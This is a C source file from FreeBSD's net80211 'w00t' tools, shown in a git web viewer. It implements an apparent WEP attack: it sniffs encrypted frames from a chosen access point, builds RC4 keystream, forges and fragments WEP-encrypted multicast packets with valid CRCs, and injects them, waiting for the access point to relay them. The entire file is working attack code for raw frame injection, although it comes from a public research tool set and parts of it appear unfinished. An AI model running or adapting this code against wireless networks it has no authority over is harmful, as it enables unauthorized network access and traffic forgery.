]> CyberLeo.Net >> Repos - FreeBSD/releng/10.0.git/blob - tools/tools/net80211/w00t/expand/expand.c
- Copy stable/10 (r259064) to releng/10.0 as part of the
[FreeBSD/releng/10.0.git] / tools / tools / net80211 / w00t / expand / expand.c
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD$
27  */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45
46 enum {
47         S_START = 0,
48         S_WAIT_RELAY,
49 };
50
51 struct queue {
52         struct ieee80211_frame *wh;
53         int len;
54
55         char *buf;
56         int live;
57         struct queue *next;
58 };
59
60 struct params {
61         int rx;
62         int tx;
63
64         int tap;
65
66         char mcast[5];
67         char mac[6];
68         char ap[6];
69
70         char prga[2048];
71         int prga_len;
72
73         int state;
74
75         struct queue *q;
76
77         char packet[2048];
78         int packet_len;
79         struct timeval last;
80
81         int seq;
82
83         unsigned char guess;
84 };
85
86 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
87 {
88         char *bssid, *sa;
89
90         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
91                 bssid = wh->i_addr1;
92                 sa = wh->i_addr2;
93         }       
94         else {
95                 bssid = wh->i_addr2;
96                 sa = wh->i_addr3;
97         }       
98
99         if (memcmp(bssid, p->ap, 6) != 0)
100                 return 0;
101
102         if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
103                 printf("Got non WEP packet...\n");
104                 return 0;
105         }
106
107         /* my own shit */
108         if (memcmp(p->mac, sa, 6) == 0)
109                 return 0;
110
111         return 1;       
112 }
113
114 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
115 {
116         struct queue *q = p->q;
117         int qlen = 0;
118         char *ret = NULL;
119         struct queue *last = NULL;
120
121         /* find a slot */
122         while (q) {
123                 if (q->live)
124                         qlen++;
125                 else {
126                         /* recycle */
127                         ret = q->buf;
128                         break;
129                 }
130
131                 last = q;
132                 q = q->next;    
133         }
134
135         /* need to create slot */
136         if (!q) {
137                 q = (struct queue*) malloc(sizeof(*q));
138                 if (!q)
139                         err(1, "malloc()");
140                 memset(q, 0, sizeof(*q));
141         
142                 /* insert */
143                 if (!p->q)
144                         p->q = q;
145                 else {
146                         assert(last);
147                         last->next = q;
148                 }
149         }
150
151         q->live = 1;
152         q->buf = *buf;
153         q->len = len;
154         q->wh = wh;
155
156         qlen++;
157
158         if (qlen > 5)
159                 printf("Enque.  Size: %d\n", qlen);
160         *buf = ret;
161 }
162
163 void send_packet(struct params *p)
164 {       
165         int rc;
166
167         rc = inject(p->tx, p->packet, p->packet_len);
168         if (rc == -1)
169                 err(1, "inject()");
170         if (rc != p->packet_len) {
171                 printf("Wrote %d/%d\n", rc, p->packet_len);
172                 exit(1);
173         }
174         
175         if (gettimeofday(&p->last, NULL) == -1)
176                 err(1, "gettimeofday()");
177 }
178 #include <openssl/rc4.h>
179 void send_mcast(struct params *p, unsigned char x)
180 {
181         struct ieee80211_frame *wh;
182         short *seq;
183         struct queue *q = p->q;
184         char *data, *ptr;
185         int len;
186         uLong crc = crc32(0L, Z_NULL, 0);
187         uLong *pcrc;
188         int i;
189         int need_frag = 0;
190         char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
191
192         assert(q);
193
194         /* 802.11 */
195         memset(p->packet, 0, sizeof(p->packet));
196         wh = (struct ieee80211_frame*) p->packet;
197         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198         wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199         wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200         wh->i_fc[1] |= IEEE80211_FC1_WEP;
201         
202         wh->i_dur[0] = 0x69;
203         
204         memcpy(wh->i_addr1, p->ap, 6);
205         memcpy(wh->i_addr2, p->mac, 6);
206         memcpy(wh->i_addr3, p->mcast, 5);
207         wh->i_addr3[5] = x;
208
209         seq = (short*) wh->i_seq;
210         *seq = seqfn(p->seq++, 0);
211
212         /* IV */
213         data = (char*) (wh+1);
214         ptr = (char*) (q->wh+1);
215         memcpy(data, ptr, 3);
216
217         if (p->prga_len == 0) {
218         
219                 RC4_KEY k;
220                 unsigned char key[8];
221
222                 memset(&key[3], 0x61, 5);
223                 memcpy(key, (q->wh+1), 3);
224                 p->prga_len = 128;
225
226                 RC4_set_key(&k, 8, key);
227                 memset(p->prga, 0, sizeof(p->prga));
228                 RC4(&k, p->prga_len, p->prga, p->prga);
229
230                 
231 #if 0   
232                 int ptl = q->len;
233                 char *pt;
234
235                 pt = known_pt(q->wh, &ptl);
236                 ptr += 4;
237                 p->prga_len = ptl;
238                 for (i = 0; i < p->prga_len; i++)
239                         p->prga[i] = ptr[i] ^ pt[i];
240 #endif                  
241         }
242
243         /* data */
244         data += 4;
245         memcpy(data, payload, sizeof(payload));
246         p->prga_len = 12;
247         len = p->prga_len + 1 - 4;
248
249 #if 1
250         if (len < sizeof(payload)) {
251                 need_frag = len;
252                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
253         }       
254 #endif
255
256         /* crc */
257         pcrc = (uLong*) (data+len);
258         *pcrc = crc32(crc, data, len);
259
260         /* wepify */
261         len += 4;
262         for (i = 0; i < (len); i++) {
263                 assert( i <= p->prga_len);
264                 data[i] ^= p->prga[i];
265         }
266 //      data[i] ^= x;
267
268         len += sizeof(*wh);
269         p->packet_len = len + 4;
270         send_packet(p);
271
272         /* the data we sent is too fucking short */
273         if (need_frag) {
274                 memset(data, 0, len);
275
276                 /* 802.11 */
277                 *seq = seqfn(p->seq-1, 1);
278                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
279
280                 /* data */
281                 len = sizeof(payload) - need_frag;
282                 assert(len > 0 && len <= (p->prga_len - 4));
283                 memcpy(data, &payload[need_frag], len);
284         
285                 /* crc */
286                 crc = crc32(0L, Z_NULL, 0);
287                 len = p->prga_len - 4;
288                 pcrc = (uLong*) (data+len);
289                 *pcrc = crc32(crc, data, len);
290
291                 /* wepify */
292                 len += 4;
293                 for (i = 0; i < len; i++) {
294                         assert( i < p->prga_len);
295                         data[i] ^= p->prga[i];
296                 }
297
298                 len += sizeof(*wh) + 4;
299                 p->packet_len = len;
300                 send_packet(p);
301         }
302 }
303
304 void send_queue(struct params *p)
305 {
306         struct queue *q = p->q;
307         int i;
308         
309         assert(q);
310         assert(q->live);
311
312         for (i = 0; i < 5; i++) {
313                 send_mcast(p, p->guess++);
314         }
315         
316         p->state = S_WAIT_RELAY;
317 }
318
319 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
320 {
321         printf("ao\n");
322 }
323
324 void read_wifi(struct params *p)
325 {
326         static char *buf = 0;
327         static int buflen = 4096;
328         struct ieee80211_frame *wh;
329         int rc;
330
331         if (!buf) {
332                 buf = (char*) malloc(buflen);
333                 if (!buf)
334                         err(1, "malloc()");
335         }
336         
337         rc = sniff(p->rx, buf, buflen);
338         if (rc == -1)
339                 err(1, "sniff()");
340
341         wh = get_wifi(buf, &rc);
342         if (!wh)
343                 return;
344
345         /* relayed macast */
346         if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347                        IEEE80211_FC0_SUBTYPE_DATA) &&
348             (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349             (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350             (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351             (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352                 got_mcast(p, wh, rc);
353                 return;
354         }
355
356         /* data */
357         if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358                        IEEE80211_FC0_SUBTYPE_DATA)) {
359                 if (!wanted(p, wh, rc))
360                         return;
361                 
362                 enque(p, &buf, wh, rc);
363                 if (p->state == S_START)
364                         send_queue(p);
365                 return;
366         }
367 }
368
369 void own(struct params *p)
370 {
371         struct timeval tv;
372         struct timeval *to = NULL;
373         fd_set fds;
374         int tout = 10*1000;
375
376         if (p->state == S_WAIT_RELAY) {
377                 int el;
378
379                 /* check timeout */
380                 if (gettimeofday(&tv, NULL) == -1)
381                         err(1, "gettimeofday()");
382         
383                 el = elapsed(&p->last, &tv);
384
385                 /* timeout */
386                 if (el >= tout) {
387                         if (p->q && p->q->live) {
388                                 send_queue(p);
389                                 el = 0;
390                         } else {
391                                 p->state = S_START;
392                                 return;
393                         }
394                 }
395                 el = tout - el;
396                 tv.tv_sec = el/1000/1000;
397                 tv.tv_usec = el - tv.tv_sec*1000*1000;
398                 to = &tv;
399         }
400
401         FD_ZERO(&fds);
402         FD_SET(p->rx, &fds);
403
404         if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
405                 err(1, "select()");
406
407         if (FD_ISSET(p->rx, &fds))
408                 read_wifi(p);
409 }
410
411 void usage(char *name)
412 {
413         printf("Usage %s <opts>\n"
414                "-h\thelp\n"
415                "-b\t<bssid>\n"
416                "-t\t<tap>\n"
417                , name);
418         exit(1);
419 }
420
421 int main(int argc, char *argv[])
422 {
423         struct params p;
424         char *iface = "wlan0";
425         char *tap = "tap0";
426         int ch;
427
428         memset(&p, 0, sizeof(p));
429         memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
430         p.seq = getpid();
431         memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
432
433         while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
434                 switch (ch) {
435                 case 't':
436                         tap = optarg;
437                         break;
438
439                 case 'b':
440                         if (str2mac(p.ap, optarg) == -1) {
441                                 printf("Can't parse BSSID\n");
442                                 exit(1);
443                         }
444                         break;
445
446                 case 'h':
447                 default:
448                         usage(argv[0]);
449                         break;
450                 }
451         }
452
453         if ((p.rx = open_rx(iface)) == -1)
454                 err(1, "open_rx()");
455         if ((p.tx = open_tx(iface)) == -1)
456                 err(1, "open_tx()");
457
458         if ((p.tap = open_tap(tap)) == -1)
459                 err(1, "open_tap()");
460         if (set_iface_mac(tap, p.mac) == -1)
461                 err(1, "set_iface_mac()");
462
463         p.state = S_START;
464         while (1)
465                 own(&p);
466
467         exit(0);
468 }